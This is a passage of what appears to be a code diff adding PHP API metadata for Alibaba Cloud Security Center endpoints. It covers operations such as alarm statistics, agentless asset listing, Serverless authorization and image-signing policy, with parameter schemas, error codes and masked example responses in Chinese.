'example' => '2f8dc248a0fbb96c69e45acad2******', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"DA62490B-7883-5EB4-8601-F2D1D9******\\",\\n \\"UploadUrlList\\": [\\n {\\n \\"PublicUrl\\": \\"http://example.com\\",\\n \\"InternalUrl\\": \\"http://example.com\\",\\n \\"Expire\\": \\"1658562101370\\",\\n \\"Context\\": {\\n \\"AccessId\\": \\"yourAccessKeyID\\",\\n \\"Policy\\": \\"eyJleHBpcmF0aW9uIjoiMjAyMi0wNy0yM1QxMDo1ODoxMC****\\",\\n \\"Signature\\": \\"wDhPgVdnY/bkKFYcYFl+4crl****\\",\\n \\"OssKey\\": \\"1/2022/06/23/15/41/16559701077444693a0c6-33b2-4cc2-a99f-9f38b8b8****\\"\\n },\\n \\"FileExist\\": false,\\n \\"Md5\\": \\"2f8dc248a0fbb96c69e45acad2******\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '批量获取文件上传参数', + ], + 'GetFunctionTrialStatus' => [ + 'summary' => '获取功能试用资格的状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '140189', + 'abilityTreeNodes' => [ + 'FEATUREsas0KX1KI', + ], + ], + 'parameters' => [ + [ + 'name' => 'FunctionName', + 'in' => 'query', + 'schema' => [ + 'description' => '功能模块的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'trail_file_detect_api_reward', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '是否有资格。取值：'."\n" + ."\n" + .'- **0**: 有资格'."\n" + .'- **1**: 无资格'."\n" + .'- **2**: 试用结束'."\n" + .'- **3**: 试用中', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '8B30CCDD-B79A-5844-BE66-F6D51335'."\n" + .'XXXX', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": 1,\\n \\"RequestId\\": \\"8B30CCDD-B79A-5844-BE66-F6D51335\\\\nXXXX\\"\\n}","type":"json"}]', + 'title' => '获取功能试用资格的状态', + ], + 'ListTargetByBatch' => [ + 'summary' => '查询指定批次的发布目标信息列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '20', + ], + ], + [ + 'name' => 'BatchId', + 'in' => 'query', + 'schema' => [ + 'description' => '发布批次ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1371', + ], + ], + [ + 'name' => 'OperationBase', + 'in' => 'query', + 'schema' => [ + 'description' => '资产选择维度。取值：'."\n" + ."\n" + .'- **0**：机器实例'."\n" + .'- **1**：机器分组'."\n" + .'- **2**：VPC实例ID', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '6EBB8614-746D-555D-AB69-C801AEC7DCE0', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的数据总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + ], + ], + 'TargetList' => [ + 'description' => '返回列表。', + 'type' => 'array', + 'items' => [ + 'description' => '根据资产选择维度，查询当前批次的资产信息。', + 'type' => 'string', + 'example' => '[1001,1002]', + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6EBB8614-746D-555D-AB69-C801AEC7DCE0\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 30\\n },\\n \\"TargetList\\": [\\n \\"[1001,1002]\\"\\n ]\\n}","type":"json"}]', + 'title' => '查询目标通过批次', + ], + 'GetConsoleFuncGrayStatus' => [ + 'summary' => '获取控制台功能模块的灰度状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '185187', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + ], + 'parameters' => [ + [ + 'name' => 'Condition', + 'in' => 'query', + 'schema' => [ + 'description' => '功能模块名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'vpcConsoleSwitch', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型。默认值**zh**。取值：'."\n" + ."\n\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'Hit' => [ + 'description' => '是否命中灰度。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'ExcludeApiList' => [ + 'description' => '没有命中的API列表。', + 'type' => 'array', + 'items' => [ + 'description' => '没有命中的API列表。', + 'type' => 'object', + 'properties' => [ + 'Code' => [ + 'description' => '产品Code。', + 'type' => 'string', + 'example' => 'Sas', + ], + 'Version' => [ + 'description' => 'API版本。', + 'type' => 'string', + 'example' => '2017-11-10', + ], + 'Action' => [ + 'description' => 'API对应的Action。', + 'type' => 'string', + 'example' => 'GetAttackTypeList', + ], + ], + ], + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '5DFD6277-CC36-57F7-ACE6-F5952XXXXXXXX', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Hit\\": true,\\n \\"ExcludeApiList\\": [\\n {\\n \\"Code\\": \\"Sas\\",\\n \\"Version\\": \\"2017-11-10\\",\\n \\"Action\\": \\"GetAttackTypeList\\"\\n }\\n ]\\n },\\n \\"RequestId\\": \\"5DFD6277-CC36-57F7-ACE6-F5952XXXXXXXX\\"\\n}","type":"json"}]', + 'title' => '获取控制台功能模块的灰度状态', + ], + 'GetInstanceAlarmStatistics' => [ + 'summary' => '获取服务器的告警统计信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '统计实例告警的数据来源，默认值为aqs：'."\n" + .'- *sas*：态势感知数据源'."\n" + .'- *aqs*：告警事件数据'."\n" + .'- *honeypot*：蜜罐', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + 'default' => 'aqs', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的UUID。'."\n" + .'>调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '00fea5a1-9792-4373-ab1e-bb6536ba****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '返回的消息体。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '数据结构。', + 'type' => 'object', + 'properties' => [ + 'RemindCount' => [ + 'description' => '提醒告警计数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'SuspiciousCount' => [ + 'description' => '可疑告警计数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'SeriousCount' => [ + 'description' => '紧急告警计数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8B****'."\n", + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'UnknownError', + 'errorMessage' => 'UnknownError', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"RemindCount\\": 1,\\n \\"SuspiciousCount\\": 3,\\n \\"SeriousCount\\": 1\\n },\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8B****\\\\n\\"\\n}","type":"json"}]', + 'title' => '获取服务器的告警统计信息', + ], + 'AddProtectVpcList' => [ + 'summary' => '新增或更新VPC购买的白名单列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '91903', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'AddVpcInstanceIdList', + 'in' => 'query', + 'schema' => [ + 'description' => '新增VPC实例ID集合。'."\n" + .'> 调用[DescribeVpcList](~~DescribeVpcList~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '["vpc-bp1vnpgotyzay6p5i****","vpc-bp1vnpgotyzay6p5i****"]', + ], + ], + [ + 'name' => 'DelVpcInstanceIdList', + 'in' => 'query', + 'schema' => [ + 'description' => '删除VPC实例ID集合。'."\n" + .'> 调用[DescribeVpcList](~~DescribeVpcList~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '["vpc-bp1vnpgotyzay6p5i****","vpc-bp1vnpgotyzay6p5i****"]', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'FD394AF6-591E-5168-8C8C-4C7847369C77', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FD394AF6-591E-5168-8C8C-4C7847369C77\\"\\n}","type":"json"}]', + 'title' => '新增或更新VPC购买的白名单列表', + ], + 'GrantSwitchAgreement' => [ + 'summary' => '功能迁移授权接口。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '163092', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'IsAgree', + 'in' => 'query', + 'schema' => [ + 'description' => '是否同意将中国香港地域数据迁移至新加坡数据中心。取值'."\n" + ."\n" + .'- **true**：同意'."\n" + ."\n" + .'- **false**：不同意', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + 'default' => 'false', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。默认值为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '切换类型。取值：'."\n" + ."\n" + .'- **sg_switch**：将中国香港地域数据迁移至新加坡数据中心', + 'type' => 'string', + 'required' => false, + 'example' => 'sg_switch', + ], + ], + [ + 'name' => 'IsImmediate', + 'in' => 'query', + 'schema' => [ + 'description' => '是否预约在24小时内将中国香港地域数据迁移至新加坡数据中心。取值：'."\n" + ."\n" + .'- **true**：预约24小时内切换。'."\n" + ."\n" + .'- **false**：不预约。在中国香港地域有云产品的用户，将在2026年3月5日自动完成迁移；在香港地域无云产品的用户，将在2025年11月17日自动完成迁移。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'IsConfirmed', + 'in' => 'query', + 'schema' => [ + 'description' => '用户是否确认已将中国香港地域数据迁移至新加坡数据中心'."\n" + ."\n" + .'- **true**：确认。用户已确认已将中国香港地域数据迁移至新加坡数据中心，后续无需展示通知弹窗。'."\n" + .'- **false**：未确认。用户未确认已将中国香港地域数据迁移至新加坡数据中心，后续仍需展示通知弹窗。', + 'type' => 'boolean', + 'required' => false, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '11C96623-E106-59C9-866D-A6C82911459F', + ], + 'Code' => [ + 'description' => 'Code码。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"11C96623-E106-59C9-866D-A6C82911459F\\",\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\"\\n}","type":"json"}]', + 'title' => '功能迁移授权接口', + ], + 'ListAgentlessAsset' => [ + 'summary' => '查询无代理检测资产。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + 'abilityTreeCode' => '223284', + 'abilityTreeNodes' => [ + 'FEATUREsasON13NY', + ], + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示的数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '检测对象类型。取值：'."\n" + ."\n" + .'- **3**：用户快照'."\n" + ."\n" + .'- **4**：用户自定义镜像', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'InstanceId', + 'in' => 'query', + 'schema' => [ + 'description' => '资产实例的ID。', + 'type' => 'string', + 'required' => false, + 'example' => 's-bp1g6wxdwps7s9dz****', + ], + ], + [ + 'name' => 'InstanceName', + 'in' => 'query', + 'schema' => [ + 'description' => '资产实例名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'ca_cpm_******', + ], + ], + [ + 'name' => 'DiskType', + 'in' => 'query', + 'schema' => [ + 'description' => '云盘类型。取值：'."\n" + ."\n" + .'- **system**：系统盘'."\n" + ."\n" + .'- **data**：数据盘', + 'type' => 'string', + 'required' => false, + 'example' => 'data', + ], + ], + [ + 'name' => 'Platform', + 'in' => 'query', + 'schema' => [ + 'description' => '操作系统类型。', + 'type' => 'string', + 'required' => false, + 'example' => 'CentOS', + ], + ], + [ + 'name' => 'ScanRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '地域ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-beijing', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '90', + ], + ], + ], + 'AssetList' => [ + 'description' => '返回的资产列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'InstanceId' => [ + 'description' => '实例ID。', + 'type' => 'string', + 'example' => 's-rj9gda4wolo0zixi****', + ], + 'InstanceName' => [ + 'description' => '实例名称。', + 'type' => 'string', + 'example' => 'TestInstanceName', + ], + 'TargetType' => [ + 'description' => '资产类型。取值：'."\n" + ."\n" + .'- **3**：用户快照'."\n" + ."\n" + .'- **4**：用户自定义镜像', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'RegionId' => [ + 'description' => '地域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'DiskType' => [ + 'description' => '云盘类型。取值：'."\n" + ."\n" + .'- system：系统盘。'."\n" + ."\n" + .'- data：数据盘。', + 'type' => 'string', + 'example' => 'system', + ], + 'Platform' => [ + 'description' => '操作系统类型。', + 'type' => 'string', + 'example' => 'CentOS', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 90\\n },\\n \\"AssetList\\": [\\n {\\n \\"InstanceId\\": \\"s-rj9gda4wolo0zixi****\\",\\n \\"InstanceName\\": \\"TestInstanceName\\",\\n \\"TargetType\\": 3,\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"DiskType\\": \\"system\\",\\n \\"Platform\\": \\"CentOS\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询无代理检测资产', + ], + 'ModifyServerlessAuthToMachine' => [ + 'summary' => '管理Serverless资产授权。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '229832', + 'abilityTreeNodes' => [ + 'FEATUREsasA217JR', + ], + ], + 'parameters' => [ + [ + 'name' => 'BindUuidList', + 'in' => 'query', + 'allowEmptyValue' => false, + 'style' => 'repeatList', + 'schema' => [ + 'description' => '需要绑定的资产UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '需要绑定的资产UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '96a005f3-*051a698*', + ], + 'required' => false, + 'maxItems' => 2000, + ], + ], + [ + 'name' => 'UnBindUuidList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '需要解绑的资产UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '需要解绑的资产UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '96a005f3-*051a698*', + ], + 'required' => false, + 'maxItems' => 2000, + ], + ], + [ + 'name' => 'Criteria', + 'in' => 'query', + 'schema' => [ + 'description' => '设置搜索资产的条件。该参数JSON格式，输入参数时注意大小写。'."\n" + .'> 支持使用资产的实例ID、实例名称、所属VPC ID、地域、公网IP地址等条件搜索资产。您可以调用[DescribeCriteria](~~DescribeCriteria~~)接口查询支持的搜索条件。', + 'type' => 'string', + 'required' => false, + 'example' => '[{"name":"vulStatus","value":"YES","logicalExp":"AND"}]', + ], + ], + [ + 'name' => 'LogicalExp', + 'in' => 'query', + 'schema' => [ + 'description' => '设置多个搜索条件间生效的逻辑关系。取值：'."\n" + .'- **OR**：表示多个条件间为**或**的关系。'."\n" + .'- **AND**：表示多个条件间为**与**的关系。', + 'type' => 'string', + 'required' => false, + 'example' => 'OR', + ], + ], + [ + 'name' => 'BindAll', + 'in' => 'query', + 'schema' => [ + 'description' => '是否全量绑定。默认**false**，取值：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + ], + [ + 'name' => 'AutoBind', + 'in' => 'query', + 'schema' => [ + 'description' => '开启自动绑定。取值：'."\n" + ."\n" + .'- **0**：关闭'."\n" + .'- **1**：开启', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PreBindOrderId', + 'in' => 'query', + 'schema' => [ + 'title' => '预绑定订单id', + 'description' => '预绑定订单ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '233016**0482', + ], + ], + [ + 'name' => 'PreBind', + 'in' => 'query', + 'schema' => [ + 'title' => '是否预绑定', + 'description' => '是否预绑定操作。取值：'."\n" + ."\n" + .'- **0**：否'."\n" + .'- **1**：是'."\n" + ."\n\n" + .'> 开启预绑定后，会在完成购买后自动为指定服务器绑定对应版本的授权数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'NtmVersion', + 'in' => 'query', + 'schema' => [ + 'title' => 'NTM版本代码，用于预绑定', + 'description' => 'NTM版本代码，用于预绑定。', + 'type' => 'string', + 'required' => false, + 'example' => 'level2', + ], + ], + [ + 'name' => 'AuthItem', + 'in' => 'query', + 'schema' => [ + 'title' => '实例类型:取值ASSET/SERVERLESS', + 'description' => '实例类型。取值：'."\n" + .'- **SERVERLESS**：Serverless资产', + 'type' => 'string', + 'required' => false, + 'example' => 'SERVERLESS', + ], + ], + [ + 'name' => 'BindAssetType', + 'in' => 'query', + 'schema' => [ + 'title' => '操作资产类型: INSTANCE/APP', + 'description' => '操作资产类型。取值：'."\n" + .'- **INSTANCE**：实例'."\n" + .'- **APP**：应用', + 'type' => 'string', + 'required' => false, + 'example' => 'APP', + ], + ], + [ + 'name' => 'BindAppList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '绑定应用id列表', + 'description' => '绑定应用ID列表。'."\n" + ."\n" + .'> 通过[ListMachineApps](~~ListMachineApps~~)接口获取。', + 'type' => 'array', + 'items' => [ + 'description' => '应用ID。', + 'type' => 'string', + 'required' => false, + 'example' => '**7ad7e3a'."\n", + ], + 'required' => false, + 'maxItems' => 2000, + ], + ], + [ + 'name' => 'UnBindAppList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '解绑应用Id列表', + 'description' => '解绑应用ID列表。'."\n" + ."\n" + .'> 通过[ListMachineApps](~~ListMachineApps~~)接口获取。', + 'type' => 'array', + 'items' => [ + 'description' => '解绑的应用ID。', + 'type' => 'string', + 'required' => false, + 'example' => '**7ad7e3a', + ], + 'required' => false, + 'maxItems' => 2000, + ], + ], + [ + 'name' => 'AppCriteria', + 'in' => 'query', + 'schema' => [ + 'title' => '应用查询条件', + 'description' => '应用查询条件。', + 'type' => 'string', + 'required' => false, + 'example' => '**7ad7e3a', + ], + ], + [ + 'name' => 'ResourceDirectoryUid', + 'in' => 'query', + 'schema' => [ + 'description' => '资源关联目录的UID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '123456', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据详情。', + 'type' => 'object', + 'properties' => [ + 'ResultCode' => [ + 'title' => '结果代码', + 'description' => '结果代码。取值：'."\n" + .'- **0**：成功'."\n" + .'- **1**：参数错误', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A47F77A1***8CD37050E', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"ResultCode\\": 0\\n },\\n \\"RequestId\\": \\"A47F77A1***8CD37050E\\"\\n}","type":"json"}]', + 'title' => '管理Serverless资产授权', + ], + 'ModifyBinarySecurityPolicy' => [ + 'summary' => '修改容器镜像签名安全策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92353', + 'abilityTreeNodes' => [ + 'FEATUREsasJEFOWE', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '115.213.XX.XX', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test-policy-04-11', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '备注。', + 'type' => 'string', + 'required' => false, + 'example' => 'Remark', + ], + ], + [ + 'name' => 'Policy', + 'in' => 'query', + 'schema' => [ + 'description' => '策略内容。JSON格式，Key取值：'."\n" + .'- **policyMode**：策略类型，默认requireAttestor。'."\n" + .'- **requiredAttestors**：需要的证明者。', + 'type' => 'string', + 'required' => true, + 'example' => '{\\"PolicyMode\\":\\"requireAttestor\\",\\"RequiredAttestors\\":[\\"test-xcs-04-11-****\\"]}', + ], + ], + [ + 'name' => 'Clusters', + 'in' => 'query', + 'schema' => [ + 'description' => '集群信息。', + 'type' => 'string', + 'required' => true, + 'example' => 